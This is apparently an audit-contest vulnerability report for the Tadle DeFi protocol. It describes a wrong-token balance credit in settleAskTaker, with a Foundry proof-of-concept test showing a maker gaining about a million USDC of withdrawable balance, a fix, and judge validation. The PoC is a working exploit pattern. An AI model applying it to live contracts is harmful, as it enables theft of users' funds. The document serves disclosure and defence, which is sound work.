Tadle
Tadle
DeFi
30,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Using makerInfo.tokenAddress instead of marketPlaceInfo.tokenAddress in the function settleAskTaker

fyamf

Summary

The token balance is incorrectly updated in the function settleAskTaker. This leads to wrong calculation in the protocol, and stealing of fund.

Vulnerability Details

Suppose a maker creates a bid offer, and a taker places an ask order against the maker's offer.

After the market update and TGE, the function settleAskTaker is called to settle the trade. It is expected that the required amount of marketPlaceInfo.tokenAddress be added to the balance of the maker. Note that the amount of marketPlaceInfo.tokenAddress is equal to the multiplication of the promised points and token per point:

uint256 settledPointTokenAmount = marketPlaceInfo.tokenPerPoint *
_settledPoints;

https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/DeliveryPlace.sol#L373

tokenManager.addTokenBalance(
TokenBalanceType.PointToken,
offerInfo.authority,
makerInfo.tokenAddress,
settledPointTokenAmount
);

https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/DeliveryPlace.sol#L384

The issue is that the balance is updated with the address of makerInfo.tokenAddress, instead of marketPlaceInfo.tokenAddress.
https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/DeliveryPlace.sol#L387

It means that, the maker balance was expected to be equal to userTokenBalanceMap[maker][marketPlaceInfo.tokenAddress][TokenBalanceType.PointToken] = settledPointTokenAmount, but due to the mistake in the implementation, the maker balance is equal to userTokenBalanceMap[maker][makerInfo.tokenAddress][TokenBalanceType.PointToken] = settledPointTokenAmount.

Note that makerInfo.tokenAddress is the collateral, while marketPlaceInfo.tokenAddress is the newly-generated token after TGE.

PoC

In this test, Alice (maker), creates a bid offer to buy 1_000_000 points for $1. Bob (taker) places an ask order against Alice's offer. After the market update and TGE, each point worths 1e18 of newly-generated token (here it is called mockPointToken). It means that, after the settlement, Alice should have 1_000_000 * 1e18 of newly-generated token in her balance.
Due the bug explained, the balance of Alice would be userTokenBalanceMap[Alice][USDC][TokenBalanceType.PointToken] = 1_000_000 * 1e18, instead of userTokenBalanceMap[Alice][mockPointToken][TokenBalanceType.PointToken] = 1_000_000 * 1e18. It means that Alice is now able to withdraw almost $1M from the protocol.

An attacker can misuse this vulnerability and stealing fund without any honest maker or taker being involved.

function test_maker_bid_settlement_wrong_balance_update_leading_to_stealing() public {
address Alice = vm.addr(10); // maker
address Bob = vm.addr(11); // taker
​
////// Alice(maker) creates a bid offer
vm.startPrank(Alice);
deal(address(mockUSDCToken), Alice, 1 * 10 ** 18);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
​
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1_000_000,
1 * 1e18,
12000,
300,
OfferType.Bid,
OfferSettleType.Turbo
)
);
​
vm.stopPrank();
////////////////
​
///// Bob (taker) places an ask order
vm.startPrank(Bob);
deal(address(mockUSDCToken), Bob, 20 * 10 ** 18);
​
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
address offerAddr = GenerateAddress.generateOfferAddress(0);
preMarktes.createTaker(offerAddr, 1_000_000);
​
vm.stopPrank();
/////////////
​
//// owner updates the market
vm.startPrank(user1);
​
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
1 * 1e18,
block.timestamp - 1,
3600
);
​
vm.stopPrank();
/////////////
​
//// maker settles
vm.startPrank(Alice);
​
// giving mockPointToken to the maker so that the function does not revert
// this is another bug explained in other report
deal(address(mockPointToken), Alice, 1_000_000 * 1e18);
mockPointToken.approve(address(tokenManager), 1_000_000 * 1e18);
​
address stockAddr = GenerateAddress.generateStockAddress(1);
​
deliveryPlace.settleAskTaker(stockAddr, 1_000_000);
​
vm.stopPrank();
/////////////
​
console.log(
"Alice balance of USDC in the protocol: ",
tokenManager.userTokenBalanceMap(
address(Alice),
address(mockUSDCToken),
TokenBalanceType.PointToken
)
);
​
console.log(
"Alice balance of mockPointToken in the protocol: ",
tokenManager.userTokenBalanceMap(
address(Alice),
address(mockPointToken),
TokenBalanceType.PointToken
)
);
}

The output is:

Logs:
Alice balance of USDC in the protocol: 1000000000000000000000000
Alice balance of mockPointToken in the protocol: 0

Impact

  • Wrong calculation in the protocol.

  • Stealing of fund.

Tools Used

Recommendations

The following is recommended:

tokenManager.addTokenBalance(
TokenBalanceType.PointToken,
offerInfo.authority,
marketPlaceInfo.tokenAddress, // here it is modified
settledPointTokenAmount
);

https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/DeliveryPlace.sol#L387

Updates

Lead Judging Commences

0xnevi Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-DeliveryPlace-settleAskTaker-closeBidTaker-wrong-makerinfo-token-address-addToken-balance

Valid high severity, In `settleAskTaker/closeBidTaker`, by assigning collateral token to user balance instead of point token, if collateral token is worth more than point, this can cause stealing of other users collateral tokens within the CapitalPool contract, If the opposite occurs, user loses funds based on the points they are supposed to receive

Appeal created

fyamf Submitter
10 months ago
0xnevi Lead Judge
9 months ago
0xnevi Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-DeliveryPlace-settleAskTaker-closeBidTaker-wrong-makerinfo-token-address-addToken-balance

Valid high severity, In `settleAskTaker/closeBidTaker`, by assigning collateral token to user balance instead of point token, if collateral token is worth more than point, this can cause stealing of other users collateral tokens within the CapitalPool contract, If the opposite occurs, user loses funds based on the points they are supposed to receive

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.